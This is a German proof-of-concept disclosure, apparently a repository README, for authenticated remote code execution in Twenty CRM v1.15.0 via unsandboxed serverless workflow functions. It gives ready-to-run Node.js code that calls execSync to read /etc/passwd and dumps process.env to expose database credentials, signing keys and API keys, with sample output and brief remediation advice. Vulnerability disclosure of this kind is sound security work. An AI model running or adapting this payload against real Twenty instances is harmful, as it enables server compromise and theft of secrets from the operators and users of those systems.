
Proof-of-Concept für authentifizierte Remote-Codeausführung in Twenty CRM über nicht-sandboxed serverlose Workflow-Funktionen, die die Ausführung beliebiger Node.js-Befehle und die Offenlegung von Umgebungsvariablen ermöglicht.
Produkt: Twenty CRM
Schwachstelle: Remote Code Execution (RCE) über Serverless Workflow Functions
Schweregrad: Kritisch
Betroffene Komponente: Workflow-Automatisierung (Code - Serverless Function)
Getestete Version: v1.15.0
Dieses Repository dokumentiert eine kritische Schwachstelle in der Twenty-CRM-Workflow-Engine. Die Komponente „Code - Serverless Function" erlaubt authentifizierten Benutzern die Ausführung beliebigen Node.js-Codes. Aufgrund fehlender Sandboxing-Maßnahmen ist es möglich, das Modul child_process zu importieren und systemnahe Befehle auf dem Host-Server auszuführen.
Die Anwendung ermöglicht es Benutzern, benutzerdefinierte Automatisierungs-Workflows zu erstellen, die einen Code-Ausführungsschritt enthalten. Obwohl dies für die Datenmanipulation gedacht ist, schränkt die Ausführungsumgebung den Zugriff auf die integrierten Node.js-Module oder das zugrunde liegende Betriebssystem nicht ordnungsgemäß ein.
Ein Angreifer kann execSync aus der Bibliothek child_process nutzen, um:
cat, ls, whoami)./etc/passwd).process.env) auszugeben und so Datenbank-Anmeldedaten, API-Schlüssel und Anwendungsgeheimnisse offenzulegen.import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. Remote Command Execution: Read system users
const output = execSync('cat /etc/passwd').toString();
// 2. Information Disclosure: Dump all environment variables (Secrets)
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
Code Overview
Der Workflow wird erfolgreich ausgeführt und gibt die Systemdaten zurück.
Zugriff auf Systemdateien (/etc/passwd):
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
Offengelegte Umgebungsvariablen:
Der process.env-Dump offenbarte kritische Konfigurationsdetails:
PG_DATABASE_URL (Datenbank-Anmeldedaten)APP_SECRET (Signaturschlüssel)REDIS_URLAWS_ACCESS_KEY (falls konfiguriert)Diese Schwachstelle ermöglicht einem authentifizierten Benutzer (mit Berechtigung zur Erstellung von Workflows), eine vollständige Systemkompromittierung zu erreichen.
Um dieses Problem zu beheben, benötigt die Funktion „Serverless Function" eine ordnungsgemäße Isolierung.
child_process, fs und net deaktivieren.